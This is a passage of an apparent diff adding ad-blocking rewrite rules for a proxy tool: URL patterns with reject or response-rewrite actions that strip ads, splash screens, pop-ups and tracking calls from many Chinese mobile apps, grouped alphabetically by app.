+https:\/\/a\.line\.me\/er\/l.*\/v\d\/event\/image reject-img +https:\/\/a\.line\.me\/lass\/api\/v\d\/ads$ reject +https:\/\/a\.line\.me\/oa\/v\d\/e$ reject +https:\/\/a\.line\.me\/cs\/v\d\/oa$ reject +https:\/\/ad\.line-scdn\.net\/0h.+\/(o|m)\d+x\d+$ reject-img +https:\/\/gw\.line\.naver\.jp\/ext\/lgfp\/lad\/v1$ reject +https:\/\/gw\.line\.naver\.jp\/lass\/api\/v1\/ads$ reject +https:\/\/gw\.line\.naver\.jp\/tr\/event$ reject +https:\/\/legy\.line-apps\.com\/ext\/lgfp\/lad\/v1$ reject +https:\/\/legy\.line-apps\.com\/ext\/smartch\/banner\/sch\/v1$ reject +https:\/\/legy\.line-apps\.com\/tr\/event$ reject +https:\/\/w\.line\.me\/adp\/api\/ad\/v\d\/ reject +https:\/\/buy\.line\.me\/api\/graphql\?variables reject +https:\/\/crs-event\.line\.me\/v\d\/imp reject +https:\/\/obs\.line-scdn\.net\/0h.+\/(o|m)\d+x\d+$ reject +https:\/\/obs\.line-scdn\.net\/0hGH\d reject +https:\/\/obs\.line-scdn\.net\/0h.+\/\d+p\.mp4$ reject +https:\/\/obs\.line-scdn\.net\/r\/linecrs\/.+\/m180x180$ reject-img +https:\/\/d\.line-scdn\.net\/lcp-prod-photo\/20.+\.(jpg|jpeg|png) reject-img +https:\/\/cix\.line-apps\.com\/R4\? reject +https:\/\/scdn\.line-apps\.com\/appresources\/moretab\/list\.json reject +https:\/\/scdn\.line-apps\.com\/lan\/image\/line\/bannerImageEvent\/ reject +https:\/\/scdn\.line-apps\.com\/lan\/document\/pageEvent\/line\/ios\/ reject +https:\/\/sch\.line\.me\/api\/v\d\/ads$ reject +https:\/\/uts-front\.line-apps\.com\/event$ reject +https:\/\/uts-front\.line-apps\.com\/settings$ reject +https:\/\/static\.line-scdn\.net\/ad-sdk\/ reject +https:\/\/nelo2-col\.linecorp\.com\/_store$ reject + +# > 拉卡拉 +# hostname = gmp.lakala.com, wallet.lakala.com +^https:\/\/(?:gmp|wallet)\.lakala\.com\/(?:gmp\/openapi\/v2\/resource_space\/getResourceSpace|m\/(?:a\/lama\/mgt\/activity\/biz\/query\/byMerInfo|lama\/mgt\/activity\/(?:bank|biz)\/query\/list)) reject-dict + +# > 懒人听书 +# hostname = 118.178.214.118, dapis.mting.info, display.wting.info +^https?:\/\/118\.178\.214\.118\/yyting\/advertclient\/ClientAdvertList\.action reject-img +^https?:\/\/dapis\.mting\.info\/yyting\/advertclient\/ClientAdvertList\.action reject-img +^https?:\/\/.*\/yyting\/advertclient\/ClientAdvertList.action reject +^https?:\/\/display\.wting\.info\/.*.jpeg reject-200 + +# > 懒投资 +# hostname = ios.lantouzi.com +^https?:\/\/ios\.lantouzi\.com\/api\/startpage reject + +# > 来疯 +# hostname = api.laifeng.com, api.jxedt.com +^https?:\/\/api\.laifeng\.com\/v\d\/start\/ads reject + +# > 来电 小程序净化 +# hostname = mobile-api.imlaidian.com +^https?:\/\/mobile-api\.imlaidian\.com\/api\/args reject-dict + +# > 莱充 +# hostname = mobile.laichon.com, shop.laichon.com +^https?:\/\/(mobile|shop)\.laichon\.com\/api\/(v1\/goods\/goodsList|exposureAdvStatistics|getWebAdvList) reject + +# > 蓝基因 +# hostname = tk.lanjiyin.com.cn +# 首页弹窗广告 OCc分享 +^https?:\/\/tk\.lanjiyin\.com\.cn\/ad\/getAdList reject + +# > 乐橙 +# hostname = dl-cu-hz.lechange.cn +^https:\/\/dl-cu-hz\.lechange\.cn\/oms-online\/advertisementPush reject + +# > 乐堡潮玩馆小程序 +# 开屏广告+弹窗广告 +^https?:\/\/tbgapplet\.carlsberg\.asia\/tuborg\/banner\/(loading|index) reject-dict + +# > 联想 +# hostname = api.club.lenovo.cn +^https?:\/\/api\.club\.lenovo\.cn\/common\/open_ad reject + +# > 拦截100 +# hostname = tagit.hyhuo.com +^https?:\/\/tagit\.hyhuo\.com\/recover\/list reject + +# > 旅法师营地 +# hostname = www.iyingdi.cn +^https?:\/\/www\.iyingdi\.cn\/ad reject-200 + +# > LING Club-原菱菱邦 +#^https?:\/\/cdn-oss\.00bang\.cn\/image\/LLB_OSS[A-Z0-9]{32}.jpg reject-200 +# (第一条一劳永逸,误杀很多,后面几条没有误杀,需要频繁更新规则) +^https?:\/\/cdn-oss\.00bang\.cn\/image\/LLB_OSS50140C35669841B7A4218215C8C5338A\.jpg reject-200 +^https?:\/\/cdn-oss\.00bang\.cn\/image\/LLB_OSS32D553B6981546909417BEF3B7A3BC4D\.jpg reject-200 +^https?:\/\/cdn-oss\.00bang\.cn\/image\/LLB_OSSC8A54C9913CA475DABECA1054A219CA2\.jpg reject-200 +^https?:\/\/cdn-oss\.00bang\.cn\/image\/LLB_OSS2FC543D52E7447678660A4D9EC4F6C60\.jpg reject-200 +^https?:\/\/api\.00bang\.cn\/llb\/baseinfo\/advertise\/getAdvertiseByPageCode reject-200 + +# > LocSim +# hostname = app.aa-ab.com +# 屏蔽虚拟定位升级弹窗 +^https?:\/\/app\.aa-ab\.com\/home reject-200 + +# > lofter +# hostname = ad.lofter.com, images.pinduoduo.com, lofter.lf127.net +# 开屏广告 感谢@林夕分享 +^https?:\/\/ad\.lofter.com\/v1\.1\/yitou\/madr reject-200 +^https?:\/\/images\.pinduoduo\.com\/marketing\_api reject-200 +^https?:\/\/lofter\.lf127\.net\/ad\-material reject-200 + +# > linxi +# hostname = api.internetofcity.cn +^https?:\/\/api\.internetofcity\.cn\/api\/resource\/anon\/popups\/(getSplashList|getList) reject + +# > 两步路 +# host-suffix, admobile.top, reject +https?:\/\/helper\.2bulu\.com\/(greenPea\/queryTasks|proSpecial\/allData|saveSplashFrequencyStatistics|getPopInfo|getAppEntranceConfig|promote\/list|getSplash|outing\/reqFoundNewList|outing\/reqIndex) reject + +# > 猎聘 +# hostname = api-ac.liepin.com, api-wanda.liepin.com +^https?:\/\/api-ac\.liepin\.com\/api\/com\.liepin\.cyclops\.live\.get-ad-cards reject-dict +^https?:\/\/api-wanda\.liepin\.com\/api\/com\.liepin\.cbp\.baizhong\.op\.v2-show-4app reject-200 + +# > 鲁班到家用户版 +# hostname = order-app-api.lbdj.com +# 去开屏广告 +^https:\/\/order-app-api\.lbdj\.com\/lbdj\/apporder\/ad\/ reject-dict + +# > 旅途随身听 +# hostname = www.1314zhilv.com +^https?:\/\/www\.1314zhilv\.com\/ltsstnew\/(guideScenic\/getRecentlyUpdatedScenic|city\/getWeatherByCityName) reject-dict + +# > 罗森点点 +# hostname = plt.yorentown.com, lawsonapi.yorentown.com +^https:\/\/plt\.yorentown\.com\/pltapp\/v1\/banner reject-dict + +# >>>>>>>>>>>>>>> ✅ M ✅ <<<<<<<<<<<<<< +# > MIX +# hostname = dispatcher.camera360.com +^https?:\/\/dispatcher\.camera360\.com\/api\/v\d\/list$ reject + +# > 妈妈网孕育 +# hostname = qimg.cdnmama.com +# 开屏广告 +^https?:\/\/qimg\.cdnmama\.com\/rd reject-dict + +# > 猫耳FM +# hostname = app.missevan.com +# 开屏广告 感谢【可莉🅥】分享 +^https?:\/\/app\.missevan\.com\/site\/launch\? reject + +# > 猫眼 +# hostname = p0.pipi.cn +# 开屏广告 +^https:\/\/p0\.pipi\.cn\/adAdmin\/\w+\.jpg\?imageMogr2\/quality\/ reject-dict +^https:\/\/p0\.pipi\.cn\/adAdmin\/\w+\.(jpg|png)\?imageMogr2\/thumbnail\/(860x0|!165x165|!1049x1169) reject-dict + +# > 每日精选 +http:\/\/dili.sqcosmos.com\/jiekou\/mains\/p\d+.html response-body-json-jq '.album |= map(select(.id != "4154" and .id != "4165"))' +http:\/\/dili.sqcosmos.com\/jiekou\/endpage\/ad reject-dict + +# > 美团 & 美团外卖 +# hostname = img.meituan.net, s3plus.meituan.net, flowplus.meituan.net +^https?:\/\/wmapi\.meituan\.com\/api\/v7\/(loadInfo|openscreen|startpicture)\? reject-dict +^https?:\/\/(s3plus|flowplus)\.meituan\.net\/v\d\/\w+\/linglong\/\w+\.(gif|jpg|mp4) reject-dict +^https?:\/\/img\.meituan\.net\/bizad\/bizad_brandCpt_\d+\.jpg reject-dict +^https?:\/\/s3plus\.meituan\.net\/ocean-blk-index\/index\/blk_conf_73\.json reject-dict +^https?:\/\/s3plus\.meituan\.net\/v1\/mss_\w+\/(brandcpt-vedio|waimai-alita)\/\w+\.zip$ reject-dict +# 美团订单详情页更多推荐 +^https?:\/\/apimobile\.meituan\.com\/group\/v1\/recommend\/unity\/recommends reject-dict + +# > 美团众包 +# hostname = peisongapi.meituan.com +^https?:\/\/peisongapi\.meituan\.com\/client\/getInitiateImage reject-200 + +# > 美团充电宝小程序 +# hostname = cdb.meituan.com +^https?:\/\/cdb\.meituan\.com\/marketing\/source\/getPageSlotList reject-dict + +# > 美柚 +# hostname = x.seeyouyima.com, axxd.xmseeyouyima.com, config-service.seeyouyima.com +^http:\/\/x\.seeyouyima\.com\/adx\/staticstics\? reject +^https:\/\/axxd\.xmseeyouyima\.com\/ad\/ reject +^https:\/\/axxd\.xmseeyouyima\.com\/ad_statistics\? reject +^https:\/\/axxd\.xmseeyouyima\.com\/v1\/getad\? reject +^https:\/\/axxd\.xmseeyouyima\.com\/pregetad\? reject + +# > 每日优鲜 +# hostname = j-image.missfresh.cn +^https?:\/\/j-image\.missfresh\.cn\/img_(.+)\.gif$ reject +^https?:\/\/j-image\.missfresh\.cn\/img_(.+)\.(jpg|jpeg|gif|png)\?iopcmd=convert&dst=webp&q=85$ reject + +# > 买单吧 +# hostname = creditcardapp.bankcomm.cn, creditcardapp.bankcomm.com, creditcard.bankcomm.cn, creditcard.bankcomm.com +^https?:\/\/creditcard\.bankcomm\.(com|cn)\/tfimg\/public00\/M00\/[a-zA-Z0-9]{2}\/[a-zA-Z0-9]{2}\/[a-zA-Z0-9-]{30}\.(jpg|jpeg) reject +^https?:\/\/creditcardapp\.bankcomm\.(com|cn)\/mappweb_interface\/common\/(qryPopAds|qryLaunchAds)\.do reject-200 +^https?:\/\/creditcardapp\.bankcomm\.(com|cn)\/mappweb_interaction\/appInfo\/appNewestVersion reject-200 + +# > 民生银行 +# hostname = www.cmbc.com.cn, rs.creditcard.cmbc.com.cn +^https?:\/\/www\.cmbc\.com\.cn\/m\/image\/loadingpage\/ reject-200 +^https?:\/\/www\.cmbc\.com\.cn\/m\/image\/banner\/.*.png reject-200 +# > 全民生活 +^https?://rs.creditcard.cmbc.com.cn/mmc/img/126f35586ece469aa2daf2e451ba7b4d.jpg reject-200 + +# > 芒果TV +# hostname = *.mgtv.com +# 无用请求 +^https?:\/\/[\d\.]+:\d{5}\/\?cmd=indexes reject +# 首页左上角推广 +^https?:\/\/[\d\.]+\/odin\/c1\/(channel\/ads|skin\/config)\? reject-dict +# 底部tab红点 +^https?:\/\/damang\.api\.mgtv\.com\/station\/album\/red\/dot\? reject-dict +# 播放器界面 +^https?:\/\/hb-boom\.api\.mgtv\.com\/release\/pullReleaseInfo reject-dict +# 升级弹窗 +^https?:\/\/mobile\.api\.mgtv\.com\/v2\/mobile\/checkUpdate\? reject-dict +# 搜索框填充词 +^https?:\/\/mobileso\.bz\.mgtv\.com\/spotlight\/search\/v1\? reject-dict + +# > 马蜂窝 +# hostname = mapi.mafengwo.cn +^https?:\/\/mapi\.mafengwo\.cn\/(travelguide\/)?ad reject +^https?:\/\/mapi\.mafengwo\.cn\/widget\/note\/get_widget_note reject +^https?:\/\/mapi\.mafengwo\.cn\/system\/update\/check_update reject-dict +^https?:\/\/mapi\.mafengwo\.cn\/system\/config\/(get|mark)_(push|alert)_config reject-dict +^https?:\/\/mapi\.mafengwo\.cn\/system\/push\/get_local_push_config reject + +# > 马达出行 +# hostname = mada-travel.17u.cn, ebk.17u.cn +# 开屏广告 +^https:\/\/mada-travel\.17u\.cn\/mdapi\/config\/ads reject-dict +# 我的会员中心 +^https:\/\/mada-travel\.17u\.cn\/mdapi\/config\/mine reject-dict +# 首页下方推广 +^https:\/\/mada-travel\.17u\.cn\/mdapi\/config\/tabAct reject-dict +# 屏蔽更新 +^http:\/\/ebk\.17u\.cn\/tctrafficappversionadmin\/api\/getLatestVersionApp reject-dict + + +# hostname = ggc.miguvideo.com, public-deliver9.miguvideo.com, display*-sc.miguvideo.com, recommend-dy.miguvideo.com, app-sc.miguvideo.com, common-sc.miguvideo.com, ggx*.miguvideo.com, ggic*.miguvideo.com +^https?:\/\/ggc\.miguvideo\.com\/v1\/iflyad\/deliverysystem\/direct\/ reject-img +^https?:\/\/public-deliver9\.miguvideo\.com\/deliver\/site\/batchMatch\/mergeSpot\/miguvideo\/ reject-dict +^https?:\/\/recommend-dy\.miguvideo\.com\/recommend-dynamic\/dataSource\/v1\/recommend\/merge reject-dict +^https?:\/\/app-sc\.miguvideo\.com\/app-management\/v1\/staticcache\/settings\/miguvideo\/SHARE_PIC reject-dict +^https?:\/\/common-sc\.miguvideo\.com\/videoActivity\/activityList\/ reject-dict +#^https?:\/\/display-sc\.miguvideo\.com\/display\/v3\/static\/PERSONAL_CENTER\/ reject-dict +^https?:\/\/ggx.+\.miguvideo\.com\/request\/sdk.+[^?]*$ reject-dict +^https?:\/\/ggic\d+.miguvideo\.com\/ad\/ reject-dict + +# > 秒拍 +# hostname = b-api.ins.miaopai.com +^https?:\/\/b-api\.ins\.miaopai\.com\/\d\/ad/ reject + +# > 美图秀秀 +# hostname = mea.meitudata.com, adui.tg.meitu.com +^https?:\/\/mea\.meitudata\.com\/kaiping reject +^https?:\/\/adui\.tg\.meitu\.com reject-dict + +# > 马卡龙玩图 +# hostname = app.api.versa-ai.com, static01.versa-ai.com +^https?:\/\/app\.api\.versa-ai\.com\/launch\/ads\? reject-200 +^https?:\/\/static01\.versa-ai\.com\/upload\/ec0ba51d68f9\/.*.jpg reject-200 + +# > 蘑菇租房 +# hostname = api.mgzf.com +^https?:\/\/api\.mgzf\.com\/renter-operation\/home\/startHomePage reject + +# > 美味不用等 +# hostname = capi.mwee.cn +^https?:\/\/capi\.mwee\.cn\/app-api\/V\d{2}\/app\/(ad|getstartad) reject + +# > 漫画人 +# hostname = mangaapi.manhuaren.com, *mangaapi.manhuaren.* +^https?:\/\/mangaapi\.manhuaren\.com\/v\d\/public\/getStartPageAds reject +^https?:\/\/.*mangaapi\.manhuaren\.\w{2,4}\/v\d\/public\/(getStartUpMessage|getStartPageAds|getShelfActivity) reject +^https?:\/\/.*mangaapi\.manhuaren\.\w{2,4}\/v\d\/ad reject + +# > 埋堆堆 +# hostname = sfo.mddcloud.com.cn, mob.mddcloud.com.cn, toblog.ctobsnssdk.com, t-dsp.pinduoduo.com, mobads-pre-config.cdn.bcebos.com, sdk1xyajs.data.kuiniuca.com,conf-darwin.xycdn.com,*.ubixioe.com +^https?:\/\/mob\.mddcloud\.com\.cn\/adApi\/advert\/(first|third)part\/advertList reject-dict +^https?:\/\/t-dsp\.pinduoduo\.com reject-200 +^https?:\/\/mobads-pre-config\.cdn\.bcebos\.com\/preload\.php reject-200 +^https?:\/\/sfo\.mddcloud\.com\.cn\/api\/v\d\/sfo\/popup_displays? reject-dict +^https?:\/\/tower\.ubixioe\.com\/mob\/mediation reject +^https?:\/\/toblog\.ctobsnssdk\.com reject-200 +^https?:\/\/conf-darwin\.xycdn\.com reject-dict +^https?:\/\/sdk1xyajs\.data\.kuiniuca\.com reject + +# > 脉脉 +# hostname = open.taou.com, h3.open.taou.com +# 感谢【可莉】分享 +# 开屏广告、职位页面横幅 +^https:\/\/(h3\.)?open\.taou\.com\/maimai\/adshow\? reject-dict +# 赠送礼物 横幅 +^https:\/\/(h3\.)?open\.taou\.com\/maimai\/pay\/v5\/check_gift\? reject-dict +# 帖子文末推广卡片 +^https:\/\/(h3\.)?open\.taou\.com\/maimai\/go_gossip_darwin\/external\/v2\/query_flow_cards\? reject-dict + +# > 麦当劳 +# hostname = api.mcd.cn +^https?:\/\/api\.mcd\.cn\/bff\/portal\/home\/splash reject-200 + + + +# >>>>>>>>>>>>>>> ✅ N ✅ <<<<<<<<<<<<<< +# > NTPlay +# hostname = blog.nilbt.com +# 去升级弹窗 【Hua alex】分享 +^https?:\/\/blog\.nilbt\.com\/static\/api\/update reject-200 + +# > 农业银行 +# hostname = midc.cdn-static.abchina.com.cn, enjoy.cdn-static.abchina.com +# ^https?:\/\/midc\.cdn-static\.abchina\.com\.cn\/distributecenterimg\/file\/download\/(?!bbc2|f015|1655|0992|4678|a194|d8e2|c513|e51c|0ee1|166e|05ca|c882|d5b8|22ed|a0dc|a55a|6f89|3bf9|3c71|52ec|5b62|ve7a|001c|923d|accf|4a10|0bd7|be7a|5b62|5dd6|1f24|006c|775d|bd02|b983|5251|806b|d119|db14|43c9|41d3|8570|2c10|85ea|1435|814e|f422|aec7|738c|d7c8|0538|02b4|fd20|7647|f6ef|07c5|885b|e4cb|685b|30aa|c23b|9603|f27f|eaf8|8011|a5eb|409d|724c|3f2a|e07f|6744|60a6|158c|8ce3) reject-dict +^https?:\/\/midc\.cdn-static\.abchina\.com\.cn\/distributecenterimg\/file\/download\/(ed64|74b5) reject +^https?:\/\/enjoy\.cdn-static\.abchina\.com\/yx-engine-web\/file\/download\/(?!7dc2|fe96|cea3|06a8|1b11|d57b|6918|61db|2d58|aa23|) reject-200 +^https?:\/\/firefly\.abchina\.com\.cn\/firefly-collection\/Collect reject-200 + +# > 奈菲影视 +# hostname = www.nfmovies.com +^https?:\/\/www\.nfmovies\.com\/pic\/tu\/ reject-img +^https?:\/\/www\.nfmovies\.com\/templets\/default\/images\/logos reject-img +^https?:\/\/www\.nfmovies\.com\/uploads\/images\/play\.jpg reject-img + +# > 南方航空 +# hostname = 3g.csair.com +# 弹窗 +^https?:\/\/3g\.csair\.com\/CSMBP\/bookProcess\/homepopup\/queryAdvertisement reject-200 + +# > 宁聚 +# hostname = api.nj.nbtv.cn +# 开屏广告 +^https?:\/\/api\.nj\.nbtv\.cn\/v2\/advertise\/advertise-r1\/get-list\?data=u8obKDIrIWt2NR9wBuMwQ5O61eEsP reject-200 +# 弹窗广告 +^https?:\/\/api\.nj\.nbtv\.cn\/v\d\/common\/system-boot-inform\/detail reject-200 + +# > 牛津高阶词典第十版 +# hostname = oxadmin.cp.com.cn +# 首页下方广告 +^https?:\/\/oxadmin\.cp\.com\.cn\/api\/hot\/index reject-dict +^https?:\/\/oxadmin\.cp\.com\.cn\/api\/advertise\/banner reject-dict + +# > 牛听听 +# hostname = gateway.benewtech.cn, ntt-app.benewtech.cn +^https:\/\/gateway\.benewtech\.cn\/resources-app\/app\/startup\/prepage reject-dict +^https:\/\/ntt-app\.benewtech\.cn\/v6\/user\/\d+\/messages\/event reject-dict + + + +# >>>>>>>>>>>>>>> ✅ O ✅ <<<<<<<<<<<<<< +# > ofo共享单车 +# hostname = supportda.ofo.com, ma.ofo.com, activity2.api.ofo.com +^https?:\/\/supportda\.ofo\.com\/adaction\? reject +^https?:\/\/ma\.ofo\.com\/adImage\/ reject +^https?:\/\/ma\.ofo\.com\/ads reject +^https?:\/\/activity2\.api\.ofo\.com\/ofo\/Api\/v2\/ads reject + +# > ONE +# hostname = v3.wufazhuce.com, app.api.d3yuiw4.com, api.21ec74.com +# 开屏广告 +^https?:\/\/v3\.wufazhuce\.com:8000\/api\/adpreloadlist reject-dict +^https?:\/\/app\.api\.d3yuiw4\.com\/api\/app\/ad reject +^https?:\/\/api\.21ec74\.com\/v2\.5\/ad reject + +# > omofun +# hostname = 103.91.210.141 +^https?:\/\/103\.91\.210\.141\:2515\/xgapp\.php\/v2\/top_notice reject + +# > Oray +# hostname = slapi.oray.net +^https?:\/\/slapi\.oray\.net\/client\/ad reject +^https?:\/\/slapi\.oray\.net\/adver reject + + + +# >>>>>>>>>>>>>>> ✅ P ✅ <<<<<<<<<<<<<< +# > pikpak +# hostname = access.mypikpak.com +https://access.mypikpak.com/access_controller/v1/area_accessible reject + +# > PushPlus微信推送广告 +# hostname = image.pushplus.plus, www.pushplus.plus +# 屏蔽图片广告,但是还有css空白模块, 如开启可自行添加主机名 +#^https?:\/\/image\.pushplus\.plus\/ad.* reject-dict +# 屏蔽广告推送模块,会把“打开小程序”也屏蔽 +#^https?:\/\/www\.pushplus\.plus.* response-body-replace-regex () $1 + +# > 浦发银行 +# hostname = lban.spdb.com.cn, wap.spdb.com.cn +^https?:\/\/lban\.spdb\.com\.cn\/mspmk-web-component\/getAdvList\.ah$ reject +^https?:\/\/lban\.spdb\.com\.cn\/mspmk-web-component\/getAdvertisementList\.ah reject +^https?:\/\/lban\.spdb\.com\.cn\/mspmk-web-component\/prefetchAdvList\.ah reject +^https?:\/\/wap\.spdb\.com\.cn\/mspmk-web-homeassist\/OpenScreenAdv\.ah$ reject + +# > 浦大喜奔 +# hostname = image.spdbccc.com.cn +^https?:\/\/image\.spdbccc\.com\.cn\/group\d\/M00\/[A-Z0-9]{2}\/[A-Z0-9]{2}\/.+(4038|0571|M511|V-008|g549|b0628|fg817|5w501|Jo341|Z4583|oo845|i4905|MY245|YU472|Y401|w428|s000) reject-dict + +# > 朴朴超市 +# hostname = j1.pupuapi.com, 54.222.159.138 +# 开屏广告 感谢【Ava阿檬】分享 +^https?:\/\/j1\.pupuapi\.com\/client\/marketing\/banner\/v7\?position_types=(?!2)(.*)&store_id reject +^https?:\/\/j1\.pupuapi\.com\/client\/marketing\/banner\/v7\?position reject +^https?:\/\/j1\.pupuapi\.com\/client\/marketing\/advertisement\/v1\? reject-dict +^https?:\/\/54\.222\.159\.138:8053\/^httpdns\/resolve\? reject-dict + +# > 平安好车主 +# hostname = iobs.pingan.com.cn, hcz-member.pingan.com.cn +^https?:\/\/iobs\.pingan\.com\.cn\/download\/bweb-per-sf-prd\/bweb reject-200 +^https?:\/\/iobs\.pingan\.com\.cn\/download\/icore-aops-base-dmz-prd\/(YourSystemName|icore-apps-ad) reject-200 +^https?:\/\/hcz-member\.pingan\.com\.cn\/micro-api\/homepage\/do\/app\/popbox\/getTopPopBox reject + +# > 平安壹钱包 +# hostname = mobile.1qianbao.com +^https?:\/\/mobile\.1qianbao\.com\/mtp-web\/ui\/op_common_query_business_yqb\.json reject-200 + +# > 平安证券 +# 开屏广告 感谢【umie】分享 +# hostname = pacdn.m.stock.pingan.com +^https?:\/\/pacdn\.m\.stock\.pingan\.com\/images\/ reject-dict + +# > 平安口袋银行 +# hostname = cdn.sdb.com.cn +^https?:\/\/cdn\.sdb\.com\.cn\/widget\/magic-module-sprite\/general-banner reject-200 +^https?:\/\/cdn\.sdb\.com\.cn\/widget\/magic-module-sprite\/dialog-normal reject-dict +^https?:\/\/cdn\.sdb\.com\.cn\/widget\/pb\/pb-plugins-recomend-content reject-dict +# 信用卡-精彩活动模块 +#^https?:\/\/cdn\.sdb\.com\.cn\/widget\/magic-module-sprite\/four-rectangle-grid reject-dict + +# > 拼多多 +# hostname = api.pinduoduo.com, api.yangkeduo.com, mobile.yangkeduo.com +^https?:\/\/api\.(pinduoduo|yangkeduo)\.com\/api\/cappuccino\/splash reject +^https?:\/\/api\.pinduoduo\.com\/api\/aquarius\/hungary\/global\/homepage\? reject-dict +# 多多买菜 开屏广告 +^https?:\/\/mobile\.yangkeduo\.com\/proxy\/api\/api\/express\/post\/waybill\/red_packet\/goods_list$ response-body-replace-regex "list":\[.+\] "list":[] + +# > 票根 +# hostname = pss.txffp.com +^https?:\/\/pss\.txffp\.com\/piaogen\/images\/launchScreen/ reject-200 + +# > 票星球 +# hostname = appapi.caiyicloud.com +^https:\/\/appapi\.caiyicloud\.com\/cyy_gatewayapi\/home\/pub\/v3\/banners\/app_start_page reject-dict + +# > 澎湃新闻 +# hostname = adpai.thepaper.cn +^https?:\/\/adpai\.thepaper\.cn\/.+&ad= reject + +# > 皮皮搞笑评论区 +# hostname = adapi.izuiyou.com +^https?:\/\/adapi\.izuiyou\.com\/ad\/fetch_api_ads\? reject-dict + + + +# >>>>>>>>>>>>>>> ✅ Q ✅ <<<<<<<<<<<<<< +# > QQ钱包 +# hostname = m.qianbao.qq.com +^https?:\/\/m\.qianbao\.qq\.com\/pages\/walletHome\?invisible reject + +# > QQ浏览器 +# hostname = us.l.qq.com +^https?:\/\/us\.l\.qq\.com\/exapp\?spsa=\d reject + +# > QQ音乐 +# hostname = us.l.qq.com, y.gtimg.cn, music.y.qq.com +^https?:\/\/us\.l\.qq\.com\/exapp reject +^https?:\/\/y\.gtimg\.cn\/music\/common\/upload\/t_splash_info\/ reject +^https?:\/\/.+?\/music\/common\/upload\/t_splash_info\/ reject +^https?:\/\/y\.gtimg\.cn\/music\/common\/\/upload\/kg_ad/.*?\d{4}\.jpg reject-img +^https?:\/\/y\.gtimg\.cn\/music\/common\/upload\/targeted_ads reject-img +^https?:\/\/((25[0-5]|2[0-4]\d|1\d{2}|[1-9]?\d)\.){3}(25[0-5]|2[0-4]\d|1\d{2}|[1-9]?\d)\/music\/common\/upload\/t_splash_info\/ reject +^https:\/\/music\.y\.qq\.com\/maproxy\/getPbCompressAd reject + +# > 去哪儿 +# hostname = qde.qunar.com, homefront.qunar.com, client.qunar.com +^https?:\/\/qde\.qunar\.com\/preload reject-200 +# 开屏广告 +^https?:\/\/homefront\.qunar\.com\/front\/splash\/ad reject-dict +^https?:\/\/client\.qunar\.com\/pitcher-proxy\?qrt=p_splashAd reject + +# > 起点读书 +# hostname = qidian.qpic.cn, mage.if.qidian.com, magev6.if.qidian.com +^https?:\/\/qidian\.qpic\.cn\/qidian_common reject-img +^https?:\/\/mage\.if\.qidian\.com\/Atom\.axd\/Api\/Client\/GetConfIOS reject-img +^https?:\/\/mage\.if\.qidian\.com\/argus\/api\/v\d\/client\/getsplashscreen reject +^https?://magev6.if.qidian.com/argus/api/v1/client/iosad reject +^https?://magev6.if.qidian.com/argus/api/v1/bookshelf/getad reject +^https?://magev6.if.qidian.com/argus/api/v4/client/getsplashscreen? reject +# 起点读书投票、章末免费领取章节卡等 +^https?:\/\/magev6\.if\.qidian\.com\/argus\/api\/v1\/adv reject-dict +^https?:\/\/magev6\.if\.qidian\.com\/argus\/api\/v1\/followsubscribe reject-dict +# 我的界面内测推广 +^http[s]?:\/\/magev6\.if\.qidian\.com\/argus\/api\/v1\/bookshelf\/refresh reject-dict +^https?:\/\/magev6\.if\.qidian\.com\/argus\/api\/v1\/adv\/getadvlistbatch reject +# 书架置顶推广(保留签到移除花哨背景) +^https?:\/\/magev6\.if\.qidian\.com\/argus\/api\/v1\/bookshelf\/getTopOperation reject-dict +# 发现上面的图标屏蔽 +^https?:\/\/magev6\.if\.qidian\.com\/argus\/api\/v2\/adv\/getadvlistbatch reject-dict + +# > 七猫小说 +# hostname = open.e.kuaishou.cn, api-access.pangolin-sdk-toutiao-b.com, api-access.pangolin-sdk-toutiao.com, api-access.pangolin-sdk-toutiao1.com, dsp-x.jd.com,api-cfg.wtzw.com, p1-lm.adukwai.com, lf-cdn-tos.bytescm.com +# 删除了域名lf-cdn-tos.bytescm.com,原因是无法MITM +^https?:\/\/open\.e\.kuaishou\.cn\/rest\/e\/v3\/open\/univ reject +^https?:\/\/api-access\.pangolin-sdk-toutiao-b\.com\/api\/ad\/union\/sdk\/get_ads reject +^https?:\/\/api-access\.(pangolin-sdk-toutiao|pangolin-sdk-toutiao1)\.com\/api\/ad reject +^https?:\/\/dsp\-x\.jd\.com\/adx\/sdk reject +^https?:\/\/api\-cfg\.wtzw\.com\/v1\/(adv|reward|operation) reject +^https?:\/\/p1\-lm\.adukwai\.com\/bs2\/adUnionVideo reject +^https?:\/\/lf\-cdn\-tos\.bytescm\.com\/obj\/static\/ad reject + +# > 穷游 +# hostname = open.qyer.com, media.qyer.com +^https?:\/\/open\.qyer\.com\/qyer\/startpage\/ reject-200 +^https?:\/\/open\.qyer\.com\/qyer\/config\/get reject +^https?:\/\/media\.qyer\.com\/ad\/ reject + +# > 汽车之家 +# hostname = adproxy.autohome.com.cn, app2.autoimg.cn +^https?:\/\/adproxy\.autohome\.com\.cn\/AdvertiseService\/ reject-img +^https?:\/\/app2\.autoimg\.cn\/apppdfs\/ reject-img + +# > 汽水音乐 +# hostname = webcast-open.douyin.com, beta-luna.douyin.com, ether-pack.pangolin-sdk-toutiao.com, api-access.pangolin-sdk-toutiao?.com, sf*-fe-tos.pglstatp-toutiao.com, lf-cdn-tos.bytescm.com +# 感谢【可莉】分享 +# 发现页面 正在直播 +^https:\/\/webcast-open\.douyin\.com\/webcast\/openapi\/feed\/\? reject-dict +# 播放器界面 - 关联提示语及你关注的人喜欢了 +^https:\/\/beta-luna\.douyin\.com\/luna\/card\? response-body-json-replace card_items[0].priority_display false card_items[0].is_show false preview_guide null +# 歌曲详情 - 热门视频 +^https:\/\/beta-luna\.douyin\.com\/luna\/more-panel\? response-body-json-del blocks[1] +# 邀请开通会员弹窗 +^https:\/\/beta-luna\.douyin\.com\/luna\/commerce\/v2\/commerce_info\? reject-dict +# 字节跳动广告 +^https:\/\/ether-pack\.pangolin-sdk-toutiao\.com\/union\/endcard\/ reject +^https:\/\/api-access\.pangolin-sdk-toutiao\d?\.com\/api\/ad\/ reject +^https:\/\/sf\d+-fe-tos\.pglstatp-toutiao\.com\/obj\/ad-pattern\/ reject +^https:\/\/lf-cdn-tos\.bytescm\.com\/obj\/static\/ad\/ reject + +# > 奇瑞汽车 +# hostname = mobile-consumer-sapp.chery.cn +# 开屏广告 +^https:\/\/mobile-consumer-sapp\.chery\.cn\/web\/position\/getShowList\?displayPlatform=1&tabType=0& reject-dict + +# > 球迷报 +# hostname = a.qiumibao.com +^https?:\/\/a\.qiumibao\.com\/activities\/config\.php reject +^https?:\/\/a\.qiumibao\.com\/ios\/config\/\?version_code= reject + +# > 亲宝宝 +# 